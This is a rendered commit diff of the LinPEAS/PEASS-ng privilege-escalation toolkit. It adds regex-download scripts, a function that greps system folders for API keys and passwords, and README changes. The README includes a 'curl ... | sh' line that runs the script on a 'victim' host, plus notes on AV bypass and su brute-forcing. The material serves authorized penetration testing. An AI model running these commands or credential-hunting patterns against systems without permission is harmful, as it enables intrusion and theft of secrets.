**LinPEAS, WinPEAS and MacPEAS** arent enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
## Let's improve PEASS together ## Let's improve PEASS together
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file. If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
## PEASS Style
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
## Advisory ## Advisory
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission. All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.

View File

@@ -0,0 +1,5 @@
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$filePath = Join-Path $scriptDir "regexes.yaml"
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
Invoke-WebRequest $url -OutFile $filePath

24
build_lists/download_regexes.py Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python3
import os
import requests
from pathlib import Path
def download_regexes():
print("[+] Downloading regexes...")
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
response = requests.get(url)
if response.status_code == 200:
# Save the content of the response to a file
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
target_file = script_folder / 'regexes.yaml'
with open(target_file, "w") as file:
file.write(response.text)
print(f"Downloaded and saved in '{target_file}' successfully!")
else:
print("Error: Unable to download the regexes file.")
exit(1)
download_regexes()

View File

@@ -1,204 +1,2 @@
paths: # This is a placeholder.
- $HOMESEARCH # To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
- /etc
- /opt
- /tmp
- /private
- /Applications
- /var/www
- /var/log
- /private/var/log
- /usr/local/www/
- $backup_folders_row
regular_expresions:
# Hashes passwords
- name: Hashed Passwords
regexes:
- name: Apr1 MD5
regex: '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
- name: Apache SHA
regex: '\{SHA\}[0-9a-zA-Z/_=]{10,}'
- name: Blowfish
regex: '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*'
- name: Drupal
regex: '\$S\$[a-zA-Z0-9_/\.]{52}'
- name: Joomlavbulletin
regex: '[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}'
- name: Linux MD5
regex: '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
- name: phpbb3
regex: '\$H\$[a-zA-Z0-9_/\.]{31}'
- name: sha512crypt
regex: '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}'
- name: Wordpress
regex: '\$P\$[a-zA-Z0-9_/\.]{31}'
# Raw Hashes
- name: Raw Hashes
regexes:
#- name: md5 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)'
#- name: sha1 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)'
#- name: sha256 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)'
- name: sha512
regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)'
# APIs
# https://github.com/l4yton/RegHex/blob/master/README.md
- name: APIs
regexes:
#- name: Artifactory API Token # False +
# regex: 'AKC[a-zA-Z0-9]{10,}' # False +
#- name: Artifactory Password
# regex: 'AP[\dABCDEF][a-zA-Z0-9]{8,}'
#- name: Authorization Basic # Too many false positives
# regex: 'basic [a-zA-Z0-9_:\.=\-]+'
#- name: Authorization Bearer # Too many false positives
# regex: 'bearer [a-zA-Z0-9_\.=\-]+'
- name: AWS Client ID
regex: '(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'
extra_grep: '-Ev ":#|:<\!\-\-"'
- name: AWS MWS Key
regex: 'amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
- name: AWS Secret Key
regex: aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]
#- name: Base32 #Too many false positives
# regex: '(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?'
#- name: Base64 #Too many false positives
# regex: '(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}'
- name: Basic Auth Credentials
regex: '://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+'
- name: Cloudinary Basic Auth
regex: 'cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+'
- name: Facebook Access Token
regex: 'EAACEdEose0cBA[0-9A-Za-z]+'
- name: Facebook Client ID
regex: ([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9]{13,17}
- name: Facebook Oauth
regex: >
[fF][aA][cC][eE][bB][oO][oO][kK].*['|"][0-9a-f]{32}['|"]
- name: Facebook Secret Key
regex: >
([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9a-f]{32}
- name: Github
regex: >
github(.{0,20})?['"][0-9a-zA-Z]{35,40}
- name: Google API Key
regex: 'AIza[0-9A-Za-z_\-]{35}'
- name: Google Cloud Platform API Key
regex: >
(google|gcp|youtube|drive|yt)(.{0,20})?['"][AIza[0-9a-z_\-]{35}]['"]
- name: Google Drive Oauth
regex: '[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'
- name: Google Oauth Access Token
regex: 'ya29\.[0-9A-Za-z_\-]+'
- name: Heroku API Key
regex: '[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}'
- name: LinkedIn Client ID
regex: >
linkedin(.{0,20})?['"][0-9a-z]{12}['"]
- name: LinkedIn Secret Key
regex: >
linkedin(.{0,20})?['"][0-9a-z]{16}['"]
- name: Mailchamp API Key
regex: '[0-9a-f]{32}-us[0-9]{1,2}'
- name: Mailgun API Key
regex: 'key-[0-9a-zA-Z]{32}'
- name: Picatic API Key
regex: 'sk_live_[0-9a-z]{32}'
- name: Slack Token
regex: 'xox[baprs]-([0-9a-zA-Z]{10,48})?'
#- name: Slack Webhook #Not interesting
# regex: 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}'
- name: Stripe API Key
regex: 'k_live_[0-9a-zA-Z]{24}'
- name: Square Access Token
regex: 'sqOatp-[0-9A-Za-z_\-]{22}'
- name: Square Oauth Secret
regex: 'sq0csp-[ 0-9A-Za-z_\-]{43}'
- name: Twilio API Key
regex: 'SK[0-9a-fA-F]{32}'
- name: Twitter Client ID
regex: >
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{18,25}
- name: Twitter Oauth
regex: >
[tT][wW][iI][tT][tT][eE][rR].{0,30}['"\\s][0-9a-zA-Z]{35,44}['"\\s]
- name: Twitter Secret Key
regex: >
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{35,44}
#- name: Vault Token #False +
# regex: '[sb]\.[a-zA-Z0-9]{24}'
# Misc
- name: Misc
regexes:
- name: Basic Auth
regex: '//(.+):(.+)@'
- name: Passwords1
regex: (pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)
#- name: Passwords2
# regex: 'passwd|creden|pwd'
- name: Usernames
regex: 'username.*[=:].+'
#- name: IPs
# regex: '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
#- name: Emails # Too many false positives
# regex: '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}'

File diff suppressed because it is too large Load Diff

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png)
**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)**
Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**. Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**.
[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566) [![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566)
@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
```bash ```bash
# Local network # Local network
sudo python -m SimpleHTTPServer 80 #Host sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim curl 10.10.10.10/linpeas.sh | sh #Victim
# Without curl # Without curl
@@ -47,6 +47,22 @@ chmod +x linpeas_linux_amd64
./linpeas_linux_amd64 ./linpeas_linux_amd64
``` ```
## Firmware Analysis
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
- If you **can emulate** the firmware, just run linpeas inside of it:
```bash
cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex
```
- If you **cannot emulate** the firmware, use the `-f </path/to/folder` param:
```bash
# Point to the folder containing the files you want to analyze
bash /path/to/linpeas.sh -f /path/to/folder
```
## AV bypass ## AV bypass
```bash ```bash
#open-ssl encryption #open-ssl encryption
@@ -77,35 +93,49 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
- 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted - 1 min to monitor the processes in order to find very frequent cron jobs *(need `-a`)* - Notice that this check will need to **write** some info inside a file that will be deleted
**Interesting parameters:** **Interesting parameters:**
- **-a** (all checks) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.** - **-a** (all checks except regex) - This will **execute also the check of processes during 1 min, will search more possible hashes inside files, and brute-force each user using `su` with the top2000 passwords.**
- **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default** - **-e** (extra enumeration) - This will execute **enumeration checkes that are avoided by default**
- **-r** (regex checks) - This will search for **hundreds of API keys of different platforms in the Filesystem**
- **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk) - **-s** (superfast & stealth) - This will bypass some time consuming checks - **Stealth mode** (Nothing will be written to disk)
- **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users - **-P** (Password) - Pass a password that will be used with `sudo -l` and bruteforcing other users
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took - **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks - **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. **It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.
``` ```
Enumerate and search Privilege Escalation vectors. Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors. This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
-h To show this message Checks:
-q Do not show banner -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
-e Perform extra enumeration -s Stealth & faster (don't check some time consuming checks)
-s SuperFast (don't check some time consuming checks) - Stealth mode -e Perform extra enumeration
-a All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly -t Automatic network scan & Internet conectivity checks - This option writes to files
-w Wait execution between big blocks of checks -r Enable Regexes (this can take from some mins to hours)
-N Do not use colours -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
-D Debug mode -D Debug mode
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files). Select a comma separated list. Network recon:
-L Force linpeas execution. -t Automatic network scan & Internet conectivity checks - This option writes to files
-M Force macpeas execution. -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24 -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139 -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
-t Automatic network scan (host discovery and port scanning) - This option writes to files
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed Port forwarding:
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
Firmware recon:
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
Misc:
-h To show this message
-w Wait execution between big blocks of checks
-L Force linpeas execution
-M Force macpeas execution
-q Do not show banner
-N Do not use colours
``` ```
## Hosts Discovery and Port Scanning ## Hosts Discovery and Port Scanning
@@ -186,17 +216,12 @@ file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
## TODO ## Collaborate
- Add more checks If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.
If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**. If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**.
**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.
## Advisory ## Advisory
@@ -204,4 +229,4 @@ If you find any issue, please report it using **[github issues](https://github.c
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup> By Polop<sup>(TM)</sup>

8
linPEAS/TODO.md Normal file
View File

@@ -0,0 +1,8 @@
- Add more checks
- Add more potential files with passwords to sensitive_files.yaml
- Add more regex of interesting APIs to regexes.yaml
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
- Improve the speed
- Reduce the size of the script
- Generate automatically an obfuscated version

View File

@@ -1,27 +1,33 @@
from .src.peasLoaded import PEASLoaded from .src.peasLoaded import PEASLoaded
from .src.linpeasBuilder import LinpeasBuilder from .src.linpeasBuilder import LinpeasBuilder
from .src.linpeasBaseBuilder import LinpeasBaseBuilder from .src.linpeasBaseBuilder import LinpeasBaseBuilder
from .src.yamlGlobals import FINAL_LINPEAS_PATH from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH
import os import os
import stat import stat
#python3 -m builder.linpeas_builder # python3 -m builder.linpeas_builder
def main(): def main():
# Load configuration # Load configuration
ploaded = PEASLoaded() ploaded = PEASLoaded()
# Build temporary linpeas_base.sh file # Build temporary linpeas_base.sh file
lbasebuilder = LinpeasBaseBuilder() lbasebuilder = LinpeasBaseBuilder()
lbasebuilder.build() lbasebuilder.build()
# Build final linpeas.sh # Build final linpeas.sh
lbuilder = LinpeasBuilder(ploaded) lbuilder = LinpeasBuilder(ploaded)
lbuilder.build() lbuilder.build()
lbuilder.write_linpeas(FINAL_LINPEAS_PATH) lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH)
lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS")
os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base.sh file
st = os.stat(FINAL_FAT_LINPEAS_PATH)
os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
st = os.stat(FINAL_LINPEAS_PATH) st = os.stat(FINAL_LINPEAS_PATH)
os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC) os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
if __name__ == "__main__": if __name__ == "__main__":
main() main()

View File

@@ -0,0 +1,49 @@
search_for_regex(){
title=$1
regex=$2
caseSensitive=$3
if [ "$caseSensitive" ]; then
i="i"
else
i=""
fi
print_3title_no_nl "Searching $title..."
if [ "$SEARCH_IN_FOLDER" ]; then
timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
else
# Search in home direcoties (usually the slowest)
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in etc
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in opt
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in possible web folders (usually only 1 will exist)
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in logs
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in backups
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in others folders (usually only /srv or /Applications will exist)
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
fi
wait
printf "\033[2K\r"
}
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
peass{REGEXES}
else
echo "Regexes to search for API keys aren't activated, use param '-r' "
fi

View File

@@ -4,7 +4,7 @@
#-- SY) OS #-- SY) OS
print_2title "Operative system" print_2title "Operative system"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
warn_exec lsb_release -a 2>/dev/null warn_exec lsb_release -a 2>/dev/null
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
@@ -15,39 +15,16 @@ echo ""
#-- SY) Sudo #-- SY) Sudo
print_2title "Sudo version" print_2title "Sudo version"
if [ "$(command -v sudo 2>/dev/null)" ]; then if [ "$(command -v sudo 2>/dev/null)" ]; then
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
else echo_not_found "sudo" else echo_not_found "sudo"
fi fi
echo "" echo ""
#-- SY) CVE-2021-4034
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2021-3560
polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9)
if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(rpm -qa | grep polkit | grep -c '0.117-2\|0.115-6')" -ge 1 ]]; then
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2022-0847
#-- https://dirtypipe.cm4all.com/
#-- https://stackoverflow.com/a/37939589
kernelversion=$(uname -r | awk -F"-" '{print $1}')
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
if [[ $kernelnumber -ge 5008000000 && $kernelnumber -lt 5017000000 ]]; then # if kernel version beteen 5.8 and 5.17
echo "Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#--SY) USBCreator #--SY) USBCreator
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
print_2title "USBCreator" print_2title "USBCreator"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
if [ -z "$pc_version" ]; then if [ -z "$pc_version" ]; then
@@ -65,10 +42,16 @@ fi
echo "" echo ""
#-- SY) PATH #-- SY) PATH
print_2title "PATH" print_2title "PATH"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" if ! [ "$IAMROOT" ]; then
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
fi
if [ "$DEBUG" ]; then
echo "New path exported: $PATH"
fi
echo "" echo ""
#-- SY) Date #-- SY) Date
@@ -100,7 +83,7 @@ fi
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
print_2title "Unmounted file-system?" print_2title "Unmounted file-system?"
print_info "Check if you can mount unmounted devices" print_info "Check if you can mount umounted devices"
